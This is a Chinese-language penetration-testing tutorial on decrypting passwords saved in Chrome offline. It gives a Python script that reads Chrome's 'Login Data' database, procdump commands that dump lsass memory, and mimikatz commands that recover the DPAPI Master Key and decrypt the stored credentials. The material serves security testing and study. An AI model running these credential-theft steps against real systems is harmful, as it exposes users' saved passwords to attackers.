渗透技巧——利用 Masterkey 离线导出 Chrome 浏览器中保存的密码
0x00 前言
在之前的文章 《渗透技巧——离线导出 Chrome 浏览器中保存的密码》 曾得出结论: 使用用户的 ntlm hash,无法导出 Chrome 浏览器保存的明文密码
。
而目前的 Windows 系统(如 Windows Server 2012),默认无法导出用户的明文口令,只能获得 ntlm hash。
也就是说,即使获得了系统的访问权限,如果无法获得明文口令,通过文章 《渗透技巧——离线导出 Chrome 浏览器中保存的密码》 介绍的方法还是无法离线(但可以在线) 导出 Chrome 浏览器保存的明文密码。
本文将要介绍一种新方法,利用 Masterkey 离线导出 Chrome 浏览器中保存的密码,不需要获得用户的明文口令,并且得出新的结论。
0x01 简介
本文将要介绍以下内容:
- 基础概念
- 解密思路
- 导出方法
- 实际测试
0x02 基础概念
- DPAPI:全称 Data Protection Application Programming Interface
- DPAPI blob:一段密文,可使用 Master Key 对其解密
- Master Key:64 字节,用于解密 DPAPI blob,使用用户登录密码、SID 和 16 字节随机数加密后保存在 Master Key file 中
- Master Key file:二进制文件,可使用用户登录密码对其解密,获得 Master Key
0x03 DPAPI 解密思路
1、定位加密的 Master Key file
文章 《渗透技巧——离线导出 Chrome 浏览器中保存的密码》 曾得出结论: 无法定位解密 Chrome 数据库对应的 Master Key file
该结论有误,实际上能够对其定位,方法见 0x04
2、从 lsass 进程提取出 Master Key
此处换了一种思路,因此不需要用户的明文口令
注:离线从 Master Key file 提取出 Master Key,必须要获得用户的明文口令
3、使用 Master Key 解密 DPAPI blob,获得明文
0x04 实现方法
测试系统:
Win7 x86
1、使用 python 读取数据库文件并提取出密文
使用 python 脚本读取 Login Data 并保存到文件中,代码如下:
from os import getenv
import sqlite3
import binascii
conn = sqlite3.connect("Login Data")
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
print (binascii.b2a_hex(result[2]))
f = open('test.txt', 'wb')
f.write(result[2])
f.close()
脚本执行后,提取 Login Data 中保存的密文,保存为 test.txt
2、获得该密文对应的 Master Key file
mimikatz 命令如下:
dpapi::blob /in:test.txt
获得对应 guidMasterkey 为 {a111b0f6-b4d7-40c8-b536-672a8288b958}
如下图
即 Master Key file 的路径为 %APPDATA%\Microsoft\Protect\%SID%\a111b0f6-b4d7-40c8-b536-672a8288b958
3、从 lsass 进程提取出 Master Key
(1) 在线方式
需要管理员权限
mimikatz:
privilege::debug
sekurlsa::dpapi
如下图
提取出 Master Key 为 666638cbaea3b7cf1dc55688f939e50ea1002cded954a1d17d5fe0fbc90b7dd34677ac148af1f32caf828fdf7234bafbe14b39791b3d7e587176576d39c3fa70
(2) 离线方式
使用 procdump dump 出 LSASS 进程内存
procdump 下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
管理员权限:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
使用 mimikatz 加载 dmp 文件:
sekurlsa::minidump lsass.dmp
sekurlsa::dpapi
注:mimikatz 从 lsass 进程提取出 Master Key 后,会自动将 Master Key 加入系统缓存
4、使用 masterkey 解密
mimikatz:
dpapi::blob /in:test.txt
成功获得明文,如下图
数据正确,如下图
0x05 利用分析
本文介绍的方法是利用 lsass 进程还原出 Master Key,因此不需要获取到用户的明文密码
同时,配合 procdump,不需要在测试系统上执行 mimikatz,只需要获得目标系统的两个文件:lsass 进程的 dmp 文件和 Login Data 文件,在本地使用 mimikatz 还原出 Master Key,解密获得明文
并且,不需要从 System 权限降权到当前用户权限
综上,离线导出的完整思路如下:
1、获得用户系统 Chrome 保存密码的 SQLite 数据库文件,位于 %LocalAppData%\Google\Chrome\User Data\Default\Login Data
2、获得 lsass 进程的内存文件
3、在本地使用 mimikatz 提取 Master Key,解密 Login Data 获得明文
0x06 最终结论
1、能够定位 Master Key file
方法 1:
mimikatz 命令:
dpapi::blob /in:test.txt
方法 2:
通过读取文件 Preferred 的前 16 字节获得对应的 Master Key file
2、不需要用户明文口令也能离线导出 Chrome 浏览器中保存的密码
0x07 小结
本文介绍了如何利用 Masterkey 离线导出 Chrome 浏览器中保存的密码,相比于之前的方法,更加通用。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论